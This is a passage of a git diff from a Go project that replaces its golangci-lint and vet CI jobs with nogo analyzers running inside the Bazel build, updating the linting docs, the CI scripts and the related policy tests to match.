b/cmd/bd/preflight.go index 848bf855c..03cd168be 100644 --- a/cmd/bd/preflight.go +++ b/cmd/bd/preflight.go @@ -378,9 +378,10 @@ func runLintCheckAt(root string, skipLint bool) CheckResult { cmd.Dir = invocation.dir // CombinedOutput collects through a pipe that every descendant inherits, so // killing the direct child on deadline does not close the write end while a - // golangci-lint grandchild still holds it. Without a WaitDelay the deadline - // therefore cannot bound this call at all, and the message appended below - // never prints in the one case it exists to report. + // linter grandchild (golangci-lint, or bazel under the Beads driver) still + // holds it. Without a WaitDelay the deadline therefore cannot bound this + // call at all, and the message appended below never prints in the one case + // it exists to report. cmd.WaitDelay = lintCancellationGrace output, err := cmd.CombinedOutput() // Report the deadline only when it actually decided the result: a child that diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index d78878efc..44771b99c 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -657,7 +657,6 @@ Do not require these existing check names directly: - `Test (Server Dolt Conformance)` - `Test (Server Dolt Full Suite 1/16)` through `Test (Server Dolt Full Suite 16/16)` - `Test (Windows - smoke)` -- `PR Lint (native)`, `PR Lint (windows)` and `PR Lint (darwin)` - `Test Nix Flake` - `Bazel / test` and the other jobs of `bazel.yml` - `Bazel Farm / *` (`bazel-farm.yml`'s advisory, PR-controlled results) @@ -929,12 +928,14 @@ manifests. On those PRs they are the tiers' only pre-merge run, and `//tools/bazel:pure_bd_has_no_cgo_only_deps` (a pure bd must not link gozstd, which `go build` rejects with cgo off). Same cgo-off boundary as the job it replaces. - - Also kept on every PR, in the required job `scripts-go-checks` - (`SCRIPTS_GO_CHECKS`, one leg, `Go checks (vet)`): `go test`'s own vet - checks (cmd/go's `defaultVetFlags`, policy-tested equal to the - toolchain's) over `./...` (`scripts/ci/go-test-vet.sh`): rules_go's - `go_test` runs no vet, so a `go test` vet finding would otherwise first - fail on `main` and then on every fork PR. + - `go test`'s own vet checks (cmd/go's `defaultVetFlags`, policy-tested + equal to the toolchain's) and the golangci-lint linters `.golangci.yml` + enables run as nogo (`//tools/nogo`) beside every compile of every Bazel + lane: natively in `bazel test //... --config=ci`, and for every release + platform in the `bazel-pure` lane's release cross-compile + (engdocs/LINTING.md). The former + `scripts-go-checks` (`Go checks (vet)`) and `pr-lint-wrapper` + (`PR Lint (native|windows|darwin)`) jobs are retired. - The repository policy tests (`./scripts/...`, including the D2 guards) and the tests that walk the checkout run only under Bazel, remotely: `//scripts:scripts_test` and `//test/docsync:docsync_test` take @@ -1528,8 +1529,7 @@ check read. Non-Bazel required jobs re-run in full on every merge group (approximate PR timings, 2026-10): `fast-checks` (~40 s), `pr-policy-wrapper` -(~2.5 min), `scripts-go-checks` (vet only), `pr-lint-wrapper` -(native/darwin/windows, up to ~4 min), `check-doc-flags` (~1.7 min), +(~2.5 min), `check-doc-flags` (~1.7 min), `check-doc-freshness-platforms` and `pr-preflight-platforms` (Linux, Windows and macOS legs, up to ~5 min on Windows), `windows-make-shell` (~2.7 min), diff --git a/engdocs/DOC_INVENTORY.md b/engdocs/DOC_INVENTORY.md index 02ec666e1..9735f1a55 100644 --- a/engdocs/DOC_INVENTORY.md +++ b/engdocs/DOC_INVENTORY.md @@ -35,7 +35,7 @@ freshness source. | `reference/json-schema.md` | `Last reviewed:` marker tied to `cmd/bd/output.go`, `cmd/bd/errors.go`, and protocol tests. (Mintlify port: was `JSON_SCHEMA.md`.) | | `recovery/init-safety.md` | `Last reviewed:` marker tied to `cmd/bd/init*.go` safety code and tests. (Mintlify port: was `RECOVERY.md`.) | | `ERROR_HANDLING.md` | `Last reviewed:` marker tied to current command error exits and JSON error helpers. | -| `LINTING.md` | `Last reviewed:` marker tied to `.golangci.yml`, `scripts/ci/pr-lint.sh`, `scripts/pr-lint/`, the `Makefile` wrapper, and CI workflow wiring. | +| `LINTING.md` | `Last reviewed:` marker tied to `.golangci.yml`, `tools/nogo/`, `scripts/ci/pr-lint.sh`, `scripts/pr-lint/`, the `Makefile` wrapper, and CI workflow wiring. | | `SERVE_RUNBOOK.md` | `Last reviewed:` marker tied to the operating-envelope constants in `internal/httpapi/server.go` and the log fields in its `event`/`request` emitters. | | `CI_CLEANUP_PLAN.md` | `Last reviewed:` marker tied to the CI audit, workflow files, wrapper scripts, `Makefile`, package manifests, and maintainer decision review. | | `design/otel/otel-data-model.md` | `Last reviewed:` marker tied to telemetry, Dolt storage, hooks, and AI call sites. | diff --git a/engdocs/LINTING.md b/engdocs/LINTING.md index 6b446e73b..15a8c4bdf 100644 --- a/engdocs/LINTING.md +++ b/engdocs/LINTING.md @@ -1,99 +1,88 @@ # Linting Policy -Last reviewed: 2026-10-03 +Last reviewed: 2026-10-07 -Freshness source: `.golangci.yml`, `scripts/ci/pr-lint.sh`, `scripts/pr-lint/`, -`Makefile`, `.github/workflows/pr.yml`, and `.github/workflows/main.yml`. +Freshness source: `.golangci.yml`, `tools/nogo/`, `scripts/ci/pr-lint.sh`, +`scripts/pr-lint/`, `Makefile`, `.github/workflows/pr.yml`, and +`.github/workflows/main.yml`. -This document explains the required Go lint gate for this codebase. +This document explains the required Go lint and vet gate for this codebase. ## Current Status -Lint is a required CI gate: ONE job per lane (`pr-lint-wrapper`), over the same -pinned golangci-lint v2.10.1 release and the same `.golangci.yml`. Each lane -must pass with zero issues in its own scope. +Lint and vet run as **nogo** (`//tools/nogo`) inside the Bazel build. rules_go +runs the analyzers beside every first-party Go compile, so any `bazel build` +or `bazel test`, locally or on rbe-west, fails on a finding. The analyzers are: -- **The PR lane reports only what the PR introduces.** `pr-lint-wrapper` runs - the repository-owned `ci-pr-lint` wrapper with `BD_LINT_NEW_FROM_MERGE_BASE` - set to the diff against the merge base with `main`. A finding in code the PR - did not touch does not block it. "New" is measured off the diff, so MOVED - CODE READS AS NEW: a pre-existing violation carried into a PR by a move or a - rename is reported against that PR and blocks it. Fix it or `//nolint` it - there — that is the accepted cost of the diff-scoped trade. -- **The main lane sweeps the whole tree.** The same job runs on every push to - `main` with `BD_LINT_NEW_FROM_MERGE_BASE` unset, so a finding that lands - there reds main's own run rather than every open PR. +- **go test's vet checks**: the passes cmd/go's `defaultVetFlags` give + `go test` (`atomic`, `bools`, `buildtag`, `directive`, `errorsas`, + `ifaceassert`, `nilfunc`, `printf`, `slog`, `stringintconv`, `tests`). They + see every file, tests included, as the former `go vet ./...` did. +- **The golangci-lint linters `.golangci.yml` enables** (depguard, errcheck, + forbidigo, gosec, misspell, sloglint, unconvert, unparam), each a thin + wrapper in `tools/nogo/analyzers/` over the same library version + golangci-lint v2.10.1 uses. -`pr-lint-wrapper` is a 3-leg matrix, `matrix.target: [native, windows, darwin]` -(`fail-fast: false`), one leg per `scripts/pr-lint` pass (see below); the gate -requires the matrix's aggregate result under the same `PR_LINT_WRAPPER` id as -before. A former separate `Lint` job (the `golangci-lint-action` with -`only-new-issues`) was functionally identical to this matrix's native leg -(same binary, config, flags and diff scope) and was folded into it; see #5629. +`.golangci.yml` is still the one place lint policy lives. Bazel embeds it into +the analyzers, and `tools/nogo/internal/golangci` applies it as golangci-lint +did: which linters are enabled, their settings, `run.tests: false` (only the +library compile unit of a package is linted, never its test unit), +generated-file handling, and the path/text exclusion rules. Decoding is +strict: a key the wrappers do not implement fails the build instead of being +ignored. `//nolint:` directives keep working; a rules_go patch +(`third_party/patches/rules_go_nogo_golangci_nolint.patch`, shared with +gascity) gives them golangci-lint's line ranges. -Each leg installs golangci-lint from the pinned release binary -(`scripts/ci/install-golangci-lint.sh`, sha256-verified) instead of -`go install`, and restores a per-leg cache -(`~/.cache/golangci-lint` plus a leg-specific `GOCACHE`) keyed on -`.golangci.yml`, `go.sum` and the leg. A miss on the exact content key falls -back to the leg's most recent entry; golangci-lint revalidates it against the -current config and inputs, so a stale restore cannot mask an issue. pr.yml -only ever restores; main.yml's matrix is the only saver, on an exact-key miss. +Parity with golangci-lint was proved on the whole tree: with the exclusion +rules removed, golangci-lint and nogo report the same 3,916 findings (file, +line, linter and text) natively and the same 3,859 for windows/amd64 and +darwin/arm64; with `.golangci.yml` as committed, both report none. -Run the wrapper locally with: +Where it gates: + +- **bazel.yml's `test` lane** (required through `CI Gate / Required`): + `bazel test //... --config=ci` validates every package natively. +- **bazel.yml's `pure` lane** (required): its release cross-compile + (`scripts/ci/bazel-release-cross-compile.sh`) builds + `//tools/bazel:release_cross`, every `go_library` and `go_binary` + split-transitioned to each release platform without cgo, and nogo + validates each of those compiles. So `//go:build windows`, `darwin`, + `!linux` (and freebsd, android, arm64) files are analyzed from Linux: a + superset of golangci-lint's former `GOOS=windows`/`GOOS=darwin` legs. +- **Every other Bazel lane** (integration, embedded, dolt-server) validates + what it compiles, including files only its build tags select. + +Every PR is checked against the whole tree, not only its diff: the tree has +no findings, so there is no baseline to scope against. + +Run the gate locally with: ```bash -make ci-pr-lint +make ci-pr-lint # native + windows + darwin (also: make lint, make vet) +make lint-changed # native, only the Bazel packages of changed Go files ``` -That is the MAIN lane's contract, not the PR lane's: with -`BD_LINT_NEW_FROM_MERGE_BASE` unset it sweeps the whole tree, so it is -deliberately STRICTER than the gate your PR has to clear and may report findings -you are not required to fix. Fix the ones that are yours; the PR gate is the -authority on what blocks a merge, and main's own run is where the rest is -answered. +Both need `bazel` (or `bazelisk`) on PATH. With remote execution configured +(`.bazelrc.local` or `user.bazelrc`), a warm run takes seconds: the native +pass uses the race configuration of the CI test lane, so it reuses CI's +remote cache. `--config=nogo` asks for the analysis output group alone, so +nothing is linked. -The wrapper runs: - -- the shared `scripts/ci/fmt-check.sh` formatting check; and -- the checkout-owned `scripts/pr-lint` Go driver, which runs golangci-lint with - `.golangci.yml`, readonly module downloads, a five-minute timeout, the - `gms_pure_go` build tag, and `--new-from-merge-base` when - `BD_LINT_NEW_FROM_MERGE_BASE` names a ref, then runs the same scope for the - non-CGO Windows target and the non-CGO darwin (arm64) target when the native - host does not already cover them, so `//go:build windows && !cgo` and - `//go:build darwin` files are linted from the Linux runner. - -The shell wrapper records one aggregate timing for the Go lint driver. The -driver prints a heading and result for each native or cross-target pass so -failures remain attributable without duplicating target-selection policy in -Bash. - -The shared driver owns the lint passes used by `scripts/ci/pr-lint.sh` and -Beads-source `bd preflight`. The pre-commit hook does not call it: the hook -uses changed-lines scope, adds `--fix`, and omits the Windows cross-lint pass. -The driver honors `BD_LINT_TARGETS` (a comma list of `native`, `windows` and -`darwin`; default all three) so each CI matrix leg can run just its own pass; -`make ci-pr-lint` and `bd preflight` both leave it unset and keep running all -three. - -The driver matches `.buildflags` when preparing `GOFLAGS`: appending -`-tags=gms_pure_go` can override an inherited bare-Go tags value; it does not -merge tag lists. Each lint process has a six-minute context and a five-minute -golangci-lint timeout. Cancelling preflight's outer `go run` command does not -guarantee immediate descendant cleanup. - -On Windows, the driver checks each pass's selected Go SDK and prefers its -`bin` directory only in that linter child's PATH. This avoids an extra Go -auto-selection process surviving cancellation. Discovery shares the existing -30-second probe budget; custom SDKs that cannot be verified retain the original -PATH. Toolchain requests, formatting, and lint deadlines are unchanged. This -does not guarantee cleanup of compiler descendants or fix slow package loading. +`make ci-pr-lint` runs `scripts/ci/pr-lint.sh`, which times the checkout-owned +`scripts/pr-lint` Go driver: `bazel build --config=nogo //...`, then +`//tools/bazel:release_cross` for windows/amd64 and darwin/arm64 +(`--config=nogo-cross`). The driver honors `BD_LINT_TARGETS` (a comma list of +`native`, `windows` and `darwin`; default all three), prints a heading and +result per pass, and is what Beads-source `bd preflight` runs. The pre-commit +hook (and `.pre-commit-config.yaml`) runs `make lint-changed +LINT_CHANGED_SCOPE=staged`. Formatting is not part of lint: +`//scripts/repochecks:fmt_test` gates gofmt, and the hook formats staged files +before linting them. ## Policy -Treat new lint findings as defects to fix before merge. Do not add a tolerated -failing baseline, and do not configure CI with `--issues-exit-code=0`. +Treat lint findings as defects to fix before merge. Do not add a tolerated +failing baseline. When a linter reports an intentional or false-positive pattern: @@ -102,16 +91,18 @@ When a linter reports an intentional or false-positive pattern: the comment explains why the warning is not actionable. - Keep broad linter disables as a last resort. -The current configuration already encodes accepted exclusions for intentional -patterns such as deferred cleanup errors, controlled subprocess execution, -test-fixture file reads, and documented security false positives. +To enable another golangci-lint linter, add it to `.golangci.yml`, add a +wrapper under `tools/nogo/analyzers/` (with its settings in +`tools/nogo/internal/golangci`), and list it in `tools/nogo/analyzers.bzl`; +`//tools/nogo:nogo_test` fails until the enabled list and the analyzer list +agree. ## CI Cleanup Decision -`pr-lint` stays separate from `pr-policy` and `pr-core` so failures are easy to -identify and rerun. Its repository-owned wrapper is -`scripts/ci/pr-lint.sh`, exposed as `make ci-pr-lint`; its lint policy is owned -by the shell-free `scripts/pr-lint` Go driver. +The former `PR Lint (native|windows|darwin)` and `Go checks (vet)` jobs, and +main.yml's lint and vet cache seeders, are retired: nogo runs the same checks +in the Bazel lanes on rbe-west. When the farm is switched off (bazel.yml mode +`skip`), no lane runs, so neither does lint. See [`CI_CLEANUP_PLAN.md`](CI_CLEANUP_PLAN.md) for the full CI tier policy. diff --git a/gazelle.go.work b/gazelle.go.work new file mode 100644 index 000000000..44b471a97 --- /dev/null +++ b/gazelle.go.work @@ -0,0 +1,11 @@ +// Bazel-only Go workspace: go_deps (MODULE.bazel) resolves the beads module +// and the nogo analyzers' module (tools/nogo) as one dependency graph, so the +// analyzers link against the same golang.org/x/tools as rules_go's nogo +// runner. Not named go.work on purpose: the go command never picks it up, and +// `go build`/`go list -m all` in the repository root keep seeing only go.mod. +go 1.26.5 + +use ( + . + ./tools/nogo +) diff --git a/internal/testutil/integration/diagnostics.go b/internal/testutil/integration/diagnostics.go index 136d724ec..0e0b7c73e 100644 --- a/internal/testutil/integration/diagnostics.go +++ b/internal/testutil/integration/diagnostics.go @@ -39,7 +39,7 @@ func (d *Diagnostics) CaptureOnFailure() { func (d *Diagnostics) dumpStateFiles() { for _, name := range []string{"dolt-server.pid", "dolt-server.port", "dolt-server.log"} { path := filepath.Join(d.beadsDir, name) - data, err := os.ReadFile(path) + data, err := os.ReadFile(path) //nolint:gosec // G304: a fixed state-file name under the test's own .beads dir if err != nil { d.t.Logf(" %s: not found", name) continue @@ -69,7 +69,7 @@ func (d *Diagnostics) dumpProcessList() { if pid[0] < '0' || pid[0] > '9' { continue } - cmdline, err := os.ReadFile(filepath.Join("/proc", pid, "cmdline")) + cmdline, err := os.ReadFile(filepath.Join("/proc", pid, "cmdline")) //nolint:gosec // G304: /proc//cmdline if err != nil { continue } diff --git a/internal/testutil/integration/harness.go b/internal/testutil/integration/harness.go index 03fd1607f..f6af935de 100644 --- a/internal/testutil/integration/harness.go +++ b/internal/testutil/integration/harness.go @@ -183,7 +183,7 @@ func (r *SubprocessRunner) Build(t *testing.T) string { r.buildErr = fmt.Errorf("failed to build test binary: %w\nstderr: %s\nstdout: %s", err, stderr.String(), stdout.String()) return } - if err := os.Chmod(r.testBin, 0700); err != nil { + if err := os.Chmod(r.testBin, 0700); err != nil { //nolint:gosec // G302: the test binary must be executable r.buildErr = fmt.Errorf("failed to chmod test binary: %w", err) } }) @@ -349,7 +349,7 @@ func WaitForPort(t *testing.T, host string, port int, timeout time.Duration) { // ReadPIDFile reads and parses a PID file, returning 0 if missing or corrupt. func ReadPIDFile(path string) int { - data, err := os.ReadFile(path) + data, err := os.ReadFile(path) //nolint:gosec // G304: a state file path the harness itself derived if err != nil { return 0 } @@ -362,7 +362,7 @@ func ReadPIDFile(path string) int { // ReadPortFile reads and parses a port file, returning 0 if missing or corrupt. func ReadPortFile(path string) int { - data, err := os.ReadFile(path) + data, err := os.ReadFile(path) //nolint:gosec // G304: a state file path the harness itself derived if err != nil { return 0 } diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index 443631a45..f19b1c2a6 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -42,6 +42,7 @@ go_test( "install_dolt_test.go", "managed_local_lane_test.go", "migration_corpus_bazel_test.go", + "nogo_lint_policy_test.go", "pr_lanes_bazel_coverage_test.go", "pr_preflight_test.go", "pr_risk_bazel_coverage_test.go", diff --git a/scripts/README.md b/scripts/README.md index d1969de1b..d9d99d6de 100644 --- a/scripts/README.md +++ b/scripts/README.md @@ -19,10 +19,11 @@ Each wrapper auto-detects the repository root, sources `.buildflags` when it invokes Go in the default build mode, and records per-command timing through `scripts/ci/lib/timing.sh`. -`ci-pr-lint` keeps its supported Bash/Make entrypoint but delegates native and -Windows/non-CGO target selection to the checkout-owned `scripts/pr-lint` Go -driver. This is the same shell-free lint authority used by `bd preflight` in a -Beads source checkout. +`ci-pr-lint` keeps its supported Bash/Make entrypoint but delegates to the +checkout-owned `scripts/pr-lint` Go driver, which runs nogo (`//tools/nogo`) +under Bazel natively and cross-configured for windows/amd64 and darwin/arm64 +(see [engdocs/LINTING.md](../engdocs/LINTING.md)). This is the same shell-free +lint authority used by `bd preflight` in a Beads source checkout. Broad Go test wrappers also source `scripts/ci/lib/test-env.sh`, which creates a temporary HOME/XDG/Dolt root, isolates Git global/system config, clears runtime @@ -136,7 +137,6 @@ This master script automates the **entire release process**: - Clean git working directory - All changes committed -- golangci-lint installed - Homebrew installed (for local upgrade) - Push access to gastownhall/beads diff --git a/scripts/check_doc_freshness_test.go b/scripts/check_doc_freshness_test.go index 0d33d1a5e..59e3a4bb2 100644 --- a/scripts/check_doc_freshness_test.go +++ b/scripts/check_doc_freshness_test.go @@ -25,7 +25,7 @@ var freshnessDocuments = []struct { {"docs/recovery/init-safety.md", []string{"cmd/bd/init.go", "cmd/bd/init_safety.go", "cmd/bd/init_safety_test.go", "cmd/bd/init_safety_help.go", "cmd/bd/dolt.go"}}, {"engdocs/ERROR_HANDLING.md", []string{"cmd/bd/*.go", "cmd/bd/errors.go"}}, {"engdocs/SERVE_RUNBOOK.md", []string{"internal/httpapi/server.go", "internal/httpapi/events_watch.go", "cmd/bd/serve.go", "internal/httpapi/auth.go"}}, - {"engdocs/LINTING.md", []string{".golangci.yml", "scripts/ci/pr-lint.sh", "scripts/pr-lint/", "Makefile", ".github/workflows/pr.yml", ".github/workflows/main.yml"}}, + {"engdocs/LINTING.md", []string{".golangci.yml", "tools/nogo/", "scripts/ci/pr-lint.sh", "scripts/pr-lint/", "Makefile", ".github/workflows/pr.yml", ".github/workflows/main.yml"}}, {"engdocs/CI_CLEANUP_PLAN.md", []string{"engdocs/CI_TEST_SURFACE_AUDIT.md", ".github/workflows/*.yml", ".buildflags", ".golangci.yml", "scripts/ci/pr-lint.sh", "scripts/pr-lint/", "Makefile"}}, {"engdocs/design/otel/otel-data-model.md", []string{"internal/telemetry/", "internal/storage/dolt/store.go", "internal/compact/haiku.go", "cmd/bd/find_duplicates.go", "internal/hooks/"}}, } diff --git a/scripts/ci/bazel-release-cross-compile.sh b/scripts/ci/bazel-release-cross-compile.sh index e369ff044..a1457b1cb 100755 --- a/scripts/ci/bazel-release-cross-compile.sh +++ b/scripts/ci/bazel-release-cross-compile.sh @@ -50,11 +50,13 @@ for target in "${targets[@]}"; do platforms+=("${target%/*}_${target#*/}") done -# Every Bazel package holding a Go target (less testonly targets and the -# packages of cgo-only ones) must be reached by //tools/bazel:release_cross; +# Every Bazel package holding a Go target (less testonly targets, the +# packages of cgo-only ones, and //tools/nogo, the nogo analyzers' own Go +# module, which `go build ./...` skips) must be reached by +# //tools/bazel:release_cross; # a listed label that no longer exists fails the build itself. universe='kind("go_library|go_binary", //...)' -wanted="$universe except siblings(attr(tags, \"\\bcgo-only\\b\", $universe)) except attr(testonly, 1, $universe)" +wanted="$universe except siblings(attr(tags, \"\\bcgo-only\\b\", $universe)) except attr(testonly, 1, $universe) except //tools/nogo/..." # One query at a time: they share the Bazel server. want_pkgs="$(bazel query "$wanted" --output=package | LC_ALL=C sort -u)" built_pkgs="$(bazel query 'deps(//tools/bazel:release_cross)' --output=package | LC_ALL=C sort -u)" diff --git a/scripts/ci/go-test-vet.sh b/scripts/ci/go-test-vet.sh deleted file mode 100755 index 91fbbea2a..000000000 --- a/scripts/ci/go-test-vet.sh +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env bash -# The vet checks `go test` runs on every package it tests (cmd/go's -# defaultVetFlags), over the whole module. rules_go's go_test runs none, so -# where PR Core's `go test ./...` stands down for the Bazel lane (D2 step 3) -# this is what keeps them pre-merge. pr.yml runs it on every PR -# (scripts-go-checks). scripts/pr_lanes_bazel_coverage_test.go keeps the list -# equal to the Go toolchain's. - -set -euo pipefail - -SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" -REPO_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)" - -# shellcheck source=../../.buildflags -source "$REPO_ROOT/.buildflags" -# shellcheck source=lib/timing.sh -source "$REPO_ROOT/scripts/ci/lib/timing.sh" - -cd "$REPO_ROOT" - -GO_TEST_VET_FLAGS=(-atomic -bool -buildtags -directive -errorsas -ifaceassert -nilfunc -printf -slog -stringintconv -tests) - -ci_time "go vet (go test's checks)" -- \ - go vet -tags gms_pure_go "${GO_TEST_VET_FLAGS[@]}" ./... diff --git a/scripts/ci/install-golangci-lint.sh b/scripts/ci/install-golangci-lint.sh deleted file mode 100755 index f9c0182ce..000000000 --- a/scripts/ci/install-golangci-lint.sh +++ /dev/null @@ -1,97 +0,0 @@ -#!/usr/bin/env bash -set -euo pipefail - -# Install the pinned golangci-lint release binary instead of `go install` -# (F5.2): the release tarball drops the install step from about 58s to about -# 3s, because it is a straight download-and-verify rather than a compile. -# CI-only: this script requires $RUNNER_TEMP and $GITHUB_PATH, so the local -# `.githooks/pre-commit` hook keeps using -# `go run github.com/golangci/golangci-lint/v2/cmd/golangci-lint@v2.10.1`, -# which needs no change here. `make ci-pr-lint` (scripts/pr-lint) looks up -# whatever `golangci-lint` binary is on PATH; it does not use `go run`. -# -# Keep this version and the sha256 values in sync with CONTRIBUTING.md, -# engdocs/LINTING.md, .github/workflows/pr.yml, .github/workflows/main.yml, -# .github/workflows/ci-measurements.yml and .githooks/pre-commit. Verified -# locally against the release's own golangci-lint-2.10.1-checksums.txt. -readonly version="2.10.1" -readonly max_attempts=3 -readonly retry_delay_seconds=5 - -# A case function rather than `declare -A`: associative arrays need bash 4, -# and macOS's /bin/bash 3.2 silently parses `declare -A` as an indexed array, -# so `[amd64]=` becomes an arithmetic lookup that dies under `set -u` before -# the Linux-only guard below can print its message. -sha256_for_arch() { - case "$1" in - amd64) printf '%s' "dfa775874cf0561b404a02a8f4481fc69b28091da95aa697259820d429b09c99" ;; - arm64) printf '%s' "6652b42ae02915eb2f9cb2a2e0cac99514c8eded8388d88ae3e06e1a52c00de8" ;; - esac -} - -: "${RUNNER_TEMP:?RUNNER_TEMP is required; this script is CI-only}" -: "${GITHUB_PATH:?GITHUB_PATH is required; this script is CI-only}" - -os="$(uname -s | tr '[:upper:]' '[:lower:]')" -if [[ "$os" != "linux" ]]; then - printf 'install-golangci-lint.sh only supports Linux runners, got: %s\n' "$os" >&2 - exit 1 -fi - -arch="$(uname -m)" -case "$arch" in - x86_64 | amd64) arch="amd64" ;; - aarch64 | arm64) arch="arm64" ;; - *) - printf 'Unsupported architecture for pinned golangci-lint install: %s\n' "$arch" >&2 - exit 1 - ;; -esac - -expected_sha256="$(sha256_for_arch "$arch")" -: "${expected_sha256:?no pinned sha256 for arch: $arch}" -readonly asset="golangci-lint-${version}-${os}-${arch}.tar.gz" -readonly url="https://github.com/golangci/golangci-lint/releases/download/v${version}/${asset}" - -workdir="$(mktemp -d)" -trap 'rm -rf "$workdir"' EXIT - -for ((attempt = 1; attempt <= max_attempts; attempt++)); do - # See install-dolt.sh for why the status capture can't live in the `if`. - status=0 - curl -fsSL -o "$workdir/$asset" "$url" || status=$? - if ((status == 0)); then - break - fi - if ((attempt == max_attempts)); then - printf 'Failed to download %s after %d attempts (curl exit %d).\n' "$url" "$max_attempts" "$status" >&2 - exit "$status" - fi - printf 'Failed to download %s (attempt %d/%d); retrying in %d seconds.\n' \ - "$url" "$attempt" "$max_attempts" "$retry_delay_seconds" >&2 - sleep "$retry_delay_seconds" -done - -actual_sha256="$(sha256sum "$workdir/$asset" | awk '{print $1}')" -if [[ "$actual_sha256" != "$expected_sha256" ]]; then - printf '%s sha256 mismatch: got %s, want %s\n' "$asset" "$actual_sha256" "$expected_sha256" >&2 - exit 1 -fi - -tar -xzf "$workdir/$asset" -C "$workdir" - -install_dir="$RUNNER_TEMP/golangci-lint" -mkdir -p "$install_dir" -install -m 0755 "$workdir/golangci-lint-${version}-${os}-${arch}/golangci-lint" "$install_dir/golangci-lint" - -echo "$install_dir" >> "$GITHUB_PATH" - -# Fail loudly if the extracted binary does not report the pinned version: a -# bad tarball layout would otherwise silently put a stale or wrong binary on -# PATH. Compare the version token exactly, as install-dolt.sh does. -installed="$("$install_dir/golangci-lint" version)" -if [[ "$installed" != *"version $version"* ]]; then - printf 'golangci-lint reports "%s", want version %s\n' "$installed" "$version" >&2 - exit 1 -fi -printf 'Installed pinned golangci-lint %s to %s (sha256 %s)\n' "$version" "$install_dir" "$actual_sha256" diff --git a/scripts/ci/pr-lint.sh b/scripts/ci/pr-lint.sh index 7b50ab423..166dace31 100755 --- a/scripts/ci/pr-lint.sh +++ b/scripts/ci/pr-lint.sh @@ -1,5 +1,9 @@ #!/usr/bin/env bash -# Required PR formatting and Go lint contract. +# Required PR lint contract: nogo (//tools/nogo: go test's vet checks plus +# the golangci-lint linters .golangci.yml enables) under Bazel, natively and +# cross-configured for windows/amd64 and darwin/arm64. BD_LINT_TARGETS selects +# passes (default: native,windows,darwin). gofmt is a Bazel test +# (//scripts/repochecks:fmt_test). set -euo pipefail @@ -13,31 +17,8 @@ source "$REPO_ROOT/scripts/ci/lib/timing.sh" cd "$REPO_ROOT" -# gofmt only has one pass (there is no windows- or darwin-only gofmt target), -# so it belongs to the native leg of the pr.yml PR Lint matrix. Skip it when -# BD_LINT_TARGETS names only windows and/or darwin; run it when the variable -# is unset, empty, or names "native" (matching scripts/pr-lint's own default -# of all three targets). -should_run_fmt_check() { - local IFS=',' - local target saw_target=0 - for target in ${BD_LINT_TARGETS:-}; do - target="${target//[[:space:]]/}" - [[ -z "$target" ]] && continue - saw_target=1 - [[ "$target" == "native" ]] && return 0 - done - ((saw_target == 0)) -} - -if should_run_fmt_check; then - ci_time "gofmt check" -- ./scripts/ci/fmt-check.sh -fi - -# The checkout-owned Go driver is the single authority for the native and -# cross-target lint arguments. Files guarded by //go:build windows && !cgo or -# //go:build darwin are invisible to the Linux runner, so the driver cross-lints -# those non-CGO targets from the same runner. Keep this wrapper as the supported -# direct Bash/Make entrypoint and aggregate timing boundary. -ci_time "golangci-lint (native + windows/darwin non-CGO)" -- \ +# The checkout-owned Go driver is the single authority for the passes and +# their Bazel arguments. Keep this wrapper as the supported direct Bash/Make +# entrypoint and aggregate timing boundary. +ci_time "nogo (native + windows/darwin non-cgo)" -- \ go run -mod=readonly -tags=gms_pure_go ./scripts/pr-lint diff --git a/scripts/ci_f7b_review_test.go b/scripts/ci_f7b_review_test.go index 3346151e2..2387d8863 100644 --- a/scripts/ci_f7b_review_test.go +++ b/scripts/ci_f7b_review_test.go @@ -69,10 +69,10 @@ func TestBlacksmithReachablePRJobsDisableDefaultCachingActions(t *testing.T) { // Blacksmith-selection GOCACHE/vet-cache a same-repo PR or merge_group job // above restores from. F7c's blacksmith-setup-go-cache is pinned by its own // TestBlacksmithSeederGuardedAgainstPullRequest in ci_f7c_advisory_test.go; -// these are F7b's four (B2), the macOS saver, and the Blacksmith macOS +// these are F7b's remaining savers (B2), the macOS saver, and the Blacksmith macOS // `test` job (which saves its own race cache). var blacksmithSaverJobs = []string{ - "blacksmith-go-build-cache", "pr-lint-wrapper", "go-vet-cache", "test-windows", + "blacksmith-go-build-cache", "test-windows", "blacksmith-macos-go-build-cache", "test", } @@ -135,7 +135,7 @@ func TestBlacksmithSaverJobsGuardedAgainstPullRequest(t *testing.T) { } // TestBlacksmithSaverCacheKeysAreNotPerCommit is the S7 fix's pin: each of -// blacksmith-go-build-cache's, go-vet-cache's and test-windows' Go-cache +// blacksmith-go-build-cache's and test-windows' Go-cache // restore/save key pairs is bounded by go.sum content plus a UTC calendar day // (via that job's own "Compute cache date" step, id: cache-date), not by // github.sha, so an ordinary day of push traffic to main cannot mint a new @@ -158,11 +158,6 @@ func TestBlacksmithSaverCacheKeysAreNotPerCommit(t *testing.T) { restoreStepNames: []string{"Restore race Go build cache", "Restore non-race Go build cache"}, saveStepNames: []string{"Save race Go build cache", "Save non-race Go build cache"}, }, - { - job: "go-vet-cache", - restoreStepNames: []string{"Restore vet Go build cache"}, - saveStepNames: []string{"Save vet Go build cache"}, - }, { job: "test-windows", restoreStepNames: []string{"Restore non-race Go build cache"}, @@ -208,7 +203,7 @@ func TestBlacksmithSaverCacheKeysAreNotPerCommit(t *testing.T) { // TestBlacksmithSaverVenueAndFlavorMatricesAreComplete re-pins mutations the // reviewer's mutate.py found surviving against pre-fix code (M8, M9): main.yml's -// "venue matrix" savers (pr-lint-wrapper, go-vet-cache, test-windows, and the +// "venue matrix" savers (test-windows and the // Linux and macOS Go build cache savers) // must each keep BOTH the `blacksmith` leg (the actual same-repo-PR seed) and // the `github` leg (that job's pre-existing fork-PR/GitHub-hosted coverage), @@ -219,7 +214,7 @@ func TestBlacksmithSaverCacheKeysAreNotPerCommit(t *testing.T) { // axis's value list shrinks). func TestBlacksmithSaverVenueAndFlavorMatricesAreComplete(t *testing.T) { workflow := readCIWorkflow(t, "main.yml") - for _, jobName := range []string{"pr-lint-wrapper", "go-vet-cache", 